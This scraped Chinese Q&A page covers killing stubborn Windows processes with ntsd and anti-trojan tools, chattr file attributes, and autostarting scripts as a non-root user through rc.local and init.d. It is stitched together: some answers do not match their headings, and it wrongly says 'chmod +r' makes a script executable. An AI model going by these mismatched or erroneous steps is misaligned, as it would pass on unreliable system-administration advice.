如果你在任務管理器中無法關閉某個可疑進程,可以使用下面的方法強行關閉,注意不要殺掉進程表中的系統核心進程:

1. 使用Windows XP/2000自帶的工具

從Windows 2000開始,Windows系統就自帶了一個用戶態調試工具Ntsd,它能夠殺掉大部分進程,因為被調試器附著的進程會隨調試器一起退出,所以只要你在命令行下使用Ntsd調出某進程,然後退出Ntsd即可終止該進程,而且使用Ntsd會自動獲得Debug許可權,因此Ntsd能殺掉大部分的進程。

操作方法:單擊「開始」/程序/附件/命令提示符,輸入命令:ntsd -c q -p PID(把最後那個PID,改成你要終止的進程的PID)。在進程列表中你可以查到某個進程的PID,例如我們要關閉圖1中的Explorer.exe進程,輸入:ntsd -c q -p 408即可。

以上參數-p表示後面跟隨的是進程PID, -c q表示執行退出Ntsd的調試命令,從命令行把以上參數傳遞過去就行了。

2. 使用專門的軟體來殺進程

任務管理器殺不掉的進程,你可以使用專門的軟體關閉。有很多軟體可以殺進程,例如進程殺手、IceSword、柳葉擦眼、系統查看大師、Kill process等。

(1)進程殺手2.5()

它能夠瀏覽系統中正在運行的所有進程,包括用Ctrl+Alt+Del 看不到的進程,可以精簡進程、自動中止系統基本進程以外的所有進程,對木馬和病毒進程有一定清除作用,你可以用它隨時中止任一個正在運行的進程,選中該進程,按「中止進程」按鈕即可。

(2)IceSword()

如今系統級木馬後門功能越來越強,一般都可輕易隱藏進程、埠、注冊表、文件信息,普通進程工具根本無法發現這些「幕後黑手」。IceSword使用大量新穎的內核技術,可以查出所有隱藏進程。

要查看當前進程,請點擊「進程」按鈕,在右部列出的進程中,隱藏的進程會以紅色醒目地標記出,以方便查找系統級後門。如果要結束某進程,可以先選中它(按住Ctrl鍵可選擇多個進程),然後使用右鍵菜單的「結束進程」,即可關閉之。

(3)柳葉擦眼

它可以列出系統中所有的進程(包括隱藏的),並可以殺死進程,能自動標示出系統文件,自動中止基本進程外的所有進程,還具有IE保護功能。

運行軟體後,單擊「柳葉擦眼」可以顯示當前正在運行的所有進程,你只需注意那些「定義級別」為「未知」及「危險」的進程,按「降妖伏魔」按鈕關閉它們即可。

(4)系統查看大師1.0

目前許多木馬都是在後台運行的,它們運行時會隱藏自己的窗口,因此你無法在屏幕上看到它們。該軟體可以獲取隱藏的不可見窗口,讓你發現木馬蹤影、關閉之。

軟體運行後,在左側視圖中點擊「取不可見窗口」按鈕,右側的窗口中就會顯示出所有當前運行的、隱藏的不可見窗口標題,選定其中的可疑窗口,然後點擊右下端的「結束此窗口」按鈕,即可關閉之。如果你要關閉某進程,可以單擊「進程列表」按鈕,選中該進程,然後右擊滑鼠在彈出的窗口中,單擊「結束進程」即可。

⑷ LINUX後台進程與前台進程的區別

LINUX後台進程也叫守護進程(Daemon),是運行在後台的一種特殊進程。它獨立於控制終端並且周期性地執行某種任務或等待處理某些發生的事件。
一般用作系統服務,可以用crontab提交,編輯或者刪除相應得作業。
守護的意思就是不受終端控制。Linux的大多數伺服器就是用守護進程實現的。比如,Internet伺服器inetd,Web伺服器httpd等。同時,守護進程完成許多系統任務。比如,作業規劃進程crond,列印進程lpd等。
前台進程就是用戶使用的有控制終端的進程

⑸ 在linux下如何實現進程的隱藏

要實現Linux下的文件隱藏是很麻煩的,郁悶阿!下面的方法不一定可用,你還是用點吧。
大部分屬性在文件系統的安全管理方面起很重要的作用。關於以上屬性的詳細描述請兄弟們查閱chattr的在線幫助man,注意多數屬性須要由root來施加。

通過chattr設置檔案的隱藏許可權!

[root]#chattr --help

Usage: chattr [-RV] [-+=AacDdijsSu] [-v version] files...

參數或選項描述:

-R:遞歸處理,將指定目錄下的所有文件及子目錄一並處理。

-V:顯示詳細過程有版本編號。

-v:設定文件或目錄版本(version)。

+ :在原有參數設定基礎上,追加參數。

- :在原有參數設定基礎上,移除參數。

= :更新為指定參數設定。

A:文件或目錄的 atime (access time)不可被修改(modified), 可以有效預防例如手提電腦磁碟I/O錯誤的發生。

S:硬碟I/O同步選項,功能類似sync。

a:即append,設定該參數後,只能向文件中添加數據,而不能刪除,多用於伺服器日誌文 件安全,只有root才能設定這個屬性。

c:即compresse,設定文件是否經壓縮後再存儲。讀取時需要經過自動解壓操作。

d:即no mp,設定文件不能成為mp程序的備份目標。

i:設定文件不能被刪除、改名、設定鏈接關系,同時不能寫入或新增內容。i參數對於文件 系統的安全設置有很大幫助。

j:即journal,設定此參數使得當通過mount參數:data=ordered 或者 data=writeback 掛 載的文件系統,文件在寫入時會先被記錄(在journal中)。如果filesystem被設定參數為 data=journal,則該參數自動失效。

s:保密性地刪除文件或目錄,即硬碟空間被全部收回。

u:與s相反,當設定為u時,數據內容其實還存在磁碟中,可以用於undeletion.

各參數選項中常用到的是a和i。a選項強制只可添加不可刪除,多用於日誌系統的安全設定。而i是更為嚴格的安全設定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE處理能力(標識)的進程能夠施加該選項。我們來舉一個例子:

[root]#touch chattr_test

[root]#chattr +i chattr_test

[root]#rm chattr_test

rm: remove write-protected regular empty file `chattr_test`? y

rm: cannot remove `chattr_test`: Operation not permitted

呵,此時連root本身都不能直接進行刪除操作,必須先去除i設置後再刪除。

chattr命令的在線幫助詳細描述了各參數選項的適用范圍及bug提示,使用時建議兄弟們仔細查閱。由於上述的這些屬性是隱藏的,查看時需要使用lsattr命令,以下簡述之。

lsattr命令格式:

[root]#lsattr [-RVadlv] [files...]

參數或選項說明:

-R:遞歸列示目錄及文件屬性。

-V:顯示程序版本號。

-a:顯示所有文件屬性,包括隱藏文件(.)、當時目錄(./)及上層目錄(../)。

-d:僅列示目錄屬性。

-l:(此參數目前沒有任何作用)。

-v:顯示文件或目錄版本。

例:

[root]#chattr +aij lsattr_test

[root]#lsattr

----ia---j--- ./lsattr_test

參考資料:我想知道網

⑹ linux開機自啟動,如何跳過開機動畫

某個程序方便後續的管理;那麼我們如何在開機時候,運行此賬戶安裝的程序呢?例如:以linux下指定mycount用戶在linux開機時執行/home/sun/startXX.sh為例:

以root登錄linux

執行vi /etc/rc.d/rc.local

在文檔末尾添加一行語句:su – mycount -c 「/home/sun/startXX.sh」

保存rc.local即可。

這個地方一定要注意 su – 這個是環境的變數也會做相應的轉換;如果環境變數沒有改變的話,我們用su 就可以了。

二、

在Linux中以普通用戶開機自動運行腳本程序

測試環境:CentOS6.5

管理員:root

普通用戶:test1

實現目標:在Linux啟動時,以普通用戶test1自動運行位於根目錄下的腳本程序test.py,該程序會在每次執行時自動向本地日誌文件追加一條記錄,源碼如下:

from datetime import datetime

now=datetime.now()

f=open(『test.log』,』a』)

f.write(『%s 『%now)

f.close()

Linux在啟動時,會自動執行/etc/rc.d目錄下的初始化程序,因此我們可以把啟動任務放到該目錄下,有兩種辦法:

方案一:

1、因為其中的rc.local是在完成所有初始化之後執行,因此我們可以把啟動腳本寫到裡面

2、用root賬號登陸Linux,vi /etc/rc.d/rc.local編輯文件,在最後加入兩行需要執行的腳本程序:

cd /home/test1 –該步不可少,否則會提示沒有許可權打開』test.log』文件

su test1 -c 「python /home/test1/test.py」 –把要執行的命令作為一個參數傳遞級su

方案二:

1、init.d目錄下都為可執行程序,他們其實是服務腳本,按照一定格式編寫,Linux 在啟動時會自動執行,類似Windows下的服務

2、用root帳號登錄,vi /etc/rc.d/init.d/mystart,追加如下內容:

復制代碼

#!/bin/bash

#chkconfig:2345 80 05 –指定在哪幾個級別執行,0一般指關機,

6指的是重啟,其他為正常啟動。80為啟動的優先順序,05為關閉的優先機

#description:mystart service

RETVAL=0

start(){ –啟動服務的入口函數

echo -n 「mystart serive …」

cd /home/test1

su test1 -c 「python /home/test1/test.py」

}

stop(){ –關閉服務的入口函數

echo 「mystart service is stoped…」

}

case $1 in –使用case,可以進行互動式操作

start)

start

;;

stop)

stop

;;

esac

exit $RETVAL

復制代碼

3、運行chmod +r /etc/rc.d/init.d/mystart,使之可直接執行

4、運行chkconfig –add mystart,把該服務添加到配置當中

5、運行chkconfig –list mystart,可以查看該服務進程的狀態

總結:

兩種方案的的核心都是切換用戶到test1,然後執行命令啟動Python程序,做成服務的好處是可以定義多個交互命令,比如:start,stop,restart,reset…,在服務運行的過程中還可以做相應操作。最開始的時候,我按照一般的思路寫了如下腳本,卻怎麼也執行不了:

su test1 –切換到test1用戶

cd /home/test1 –切換到根目錄

python test.py –執行python程序

exit –退出test1帳號

看起來好象一切都沒錯,但是發現只運行了第一行的命令,後面的都沒有運行,直到退出test1用戶後才發現好象執行完畢。分析原因,是因為Linux啟動的時候是在root帳號下,執行su test1等於打開了一個新的shell腳本,因此下面的代碼都在等著新的Shell腳本結束才能運行,就象在主程序里調用了一個子程序,而子程序是個死循環,一下出來來結果下面的要等死了。知道了發生的原因,那麼解決的辦法就相對簡單了,就是在執行上述腳本程序時,不要離開本身的Shell。我們可以把執行命令做為su的一個參數傳遞進去,因為沒有涉及到打開新的Shell,因此可以正常執行你期望的腳本程序,順利實現開機自動啟動指定的腳本程序。

執行方案中重要的一個命令是:

[root@localhost ~]# whoami

root

[root@localhost ~]# su – keysystem -c 「whoami」

keysystem

[root@localhost ~]#

以keysystem用戶執行whoami的命令:

[root@localhost ~]# su – keysystem -c 「whoami」

文章知識點與官方知識檔案匹配
CS入門技能樹Linux入門初識Linux
23840 人正在系統學習中
打開CSDN,閱讀體驗更佳

Linux中沒有rc.local文件的完美解決方法
主要介紹了Linux中沒有rc.local文件的解決方法,本文給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下
最新發布 linux 開機自啟用非root啟動
就會用djq用戶執行mkdir -p /home/djq/222命令。linux 開機自啟用非root啟動。
繼續訪問
linux開機自動執行命令或自動啟動程序(rc.local)
linux開機的最後會執行/etc/rc.local,因此可以在此腳本裡面添加shell命令自動執行或者自動啟動某個進程。 比如 自動輸出信息: #!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In
繼續訪問

跳過網路啟動 linux,Linux啟動時如何跳過fsck
在Linux里,如果一個文件系統被mount過一定次數後,或者距離上次fsck超過一定天數,當系統重起時就會自動fsck。根據文件系統的大小,fsck可能需要幾分鍾甚至幾個小時。隔一段時間作一次fsck是很有必要的,但是如果你不想花費時間fsck,你也可以用如下幾種方法跳過fsck:1. 修改/etc/fstab在/etc/fstab里, 最後一列是系統啟動時fsck的順序。 文件系統 / 應該設...
繼續訪問
linux 查看root 進程,Linux查看非root運行的進程
Linux查看非root運行的進程youhaidong@youhaidong-ThinkPad-Edge-E545:~$ ps -U root -u root -NPID TTY TIME CMD663 ? 00:00:00 dbus-daemon713 ? 00:00:00 rsyslogd730 ? 00:00:00 avahi-da...
繼續訪問
linux上使用非root賬戶啟動運行java程序
事情是這樣的、、、、、、、 公司的app後台程序是java的,在linux上運行時要求必須使用非root賬戶,例如使用app用戶啟動java程序。這次運維有事請假了,所以這個小任務就交給我了,多大的事情啊,這還不是分分鍾搞定的啊。 好了一步步的開始。 第一步:創建mobile賬戶和組 groupadd app useradd -d /usr/app -g app app 第二步:搭建...
繼續訪問
linux用其他賬號停進程,Linux系統上對其他用戶隱藏進程的簡單方法
我使用的是多用戶系統,大部分的用戶通過ssh客戶端訪問他們的資源。我如何(怎麼樣)避免泄露進程信息給他們?如何(怎麼樣)在Debian/Ubuntu/RHEL/CentOS linux伺服器器上阻止/避免他們看到不屬於他們的進程?對linux上的其他用戶隱藏進程的方法解決方法/方案:如果你使用的linux kernel(內核)是3.2以上的版本(或者使用的RHEL/CentOS是6.5以上的版本)...
繼續訪問
轉:linux開機自動運行
實現目標:在Linux啟動時,自動運行位於普通用戶test1根目錄下的腳本程序test.py,該程序會在每次執行時自動向本地日誌文件追加一條記錄,源碼如下: from datetime import datetime now=datetime.now() f=open('test.log','a') f.write('%s '%now...
繼續訪問
跳過開機向導
跳過開機向導
繼續訪問
linux系統rc.local錯誤,Linux開機啟動文件rc.local無法執行的解決方法
眾所周知,rc.local是Linux系統中的一個重要的開機啟動文件,每次開機都要執行這個文件。但最近很多用戶表示系統無法執行這個問題件,從而導致了一系列的問題出現,這是怎麼回事呢?如何解決這個問題呢?下面,跟隨小編一起來看看Linux開機啟動文件rc.local無法執行的解決方法。Linux系統在Linux系統中,有一個重要的開機自動啟動腳本文件:/etc/rc.local---》/etc/rc...
繼續訪問
rc.local出錯影響ubuntu正常啟動,跳過執行rc.local
通過進入單用戶模式,跳過rc.local
繼續訪問
Linux開機啟動,設置rc.local失效解決方案
在/etc/rc.local文件夾下,添加要執行的命令,如/sbin/ifconfig docker0 mtu 1454 注意這里要使用絕對路徑/sbin/ifconfig 如果開機發現執行失敗,則需要在上一行添加sleep 10 由於ifconfig服務不一定在rc.local之前啟動,所以讓系統等待十秒hours在執行sleep 10 /sbin/ifconfig docker0 mtu 14
繼續訪問
Linux系統跳過密碼登錄
一、引導系統 RHEL7的標准引導系統是GRUB2,RHEL6默認使用GRUB1,這里主要講GRUB2。 在Linux系統開機選擇內核時,按下e進入內核引導參數的編輯菜單,找到以linux16開頭的一行,在行末添加更多的命令。例如,在行末尾添加system.unit=emergency.target,然後按Ctrl+X,則系統將會以緊急目標模式啟動。 如果在系統引導到GUI環境中出現問題,可以在內核命令行末尾加入system.unit=multi-user.target,若引導成功,則會登錄到命令行模
繼續訪問
rc.local使用非root用戶
su -aaa-c "/data/tomcat/bin/startup.sh"
繼續訪問
Linux設置非root用戶啟動程序
Linux設置非root用戶啟動程序
繼續訪問
開機自啟動非root用戶的服務
設置非root用戶的服務開機自啟動 比如:chkconfig mysql on 是無效的 可以這樣設置: 在root用戶下 vi /etc/rc.local 或者 vi /etc/rc.d/rc.local 在最後一行加上 su - mysqladmin -c "/usr/local/mysql/startMysql.sh" 其中mysqladmin是管理mysql的用戶, "/usr/loc...
繼續訪問
linux非root用戶打開80,Linux非root用戶如何使用80埠啟動程序
默認情況下Linux的1024以下埠是只有root用戶才有許可權佔用,我們的tomcat,apache,nginx等等程序如果想要用普通用戶來佔用80埠的話就會拋出java.net.BindException: Permission denied:80的異常。bind時perror提示錯誤信息:permission denied解決辦法有兩種:1.使用非80埠啟動程序,然後再用iptables...
繼續訪問
Linux在任意目錄下執行指定的腳本
前言 我有個腳本,我只能在腳本所在的文件夾下面運行,這樣的話很不方便,如果我去了別的目錄下面的話,我就無法運行這個腳本了… 解決 在profile中設置PATH, 假如我想給 xcall 腳本設置能讓在任意的目錄下去運行, 此時xcall在/root/soft/script 目錄下. 編輯環境變數 [root@zjj101 etc]# cd /etc [root@zjj101 etc]# vim profile # 上面省略........ export HIVE_HOME=/root/soft/hive
繼續訪問
Linux系統啟動過程分析
經過對Linux系統有了一定了解和熟悉後,想對其更深層次的東西做進一步探究。這當中就包括系統的啟動流程、文件系統的組成結構、基於動態庫和靜態庫的程序在執行時的異同、協議棧的架構和原理、驅動程序的機制等等。 本人在綜合了現有網上大家智慧的基礎上,結合對2.6.32的內核代碼的研讀,基於CentOS 6.0系統對Linux的啟動流程做了些分析。由於才疏學淺,知...
繼續訪問
linux跳過開機啟動項

⑺ linux操作系統lsof good.txt命令不顯示進程

因為你編輯的並不是good.txt。而是你vi 的那個當前目錄下隱藏的.good.txt.swp文件。
vi 並不會直接修改當前文件,而是先生成一個臨時文件讓你編輯,當你編輯完以後
比如輸入:w 才會寫回good.txt文件。

閱讀全文

與隱藏進程linux相關的資料

熱點內容
伺服器端渲染的數據怎麼爬 瀏覽:163
壓縮空氣噴射器 瀏覽:488
python提高效率 瀏覽:796
華為文件管理怎麼樣輸入解壓碼 瀏覽:800
深思加密狗初始化 瀏覽:566
黃金崩潰pdf 瀏覽:309
華為特定簡訊息加密 瀏覽:375
微機原理與單片機技術李精華答案 瀏覽:816
pic12c508單片機 瀏覽:309
androidgps調用 瀏覽:226
金文編pdf 瀏覽:445
14乘87減147的簡便演算法 瀏覽:473
怎麼創建edu文件夾 瀏覽:721
演算法的基礎問題 瀏覽:256
蘋果手機怎麼選擇app支付 瀏覽:856
訪問加密伺服器失敗怎麼回事 瀏覽:439
程序員每天跑步5公里 瀏覽:789
黨員對程序員有幫助么 瀏覽:550
慢跑穿壓縮衣還是緊身衣 瀏覽:214
什麼伺服器引擎最好 瀏覽:497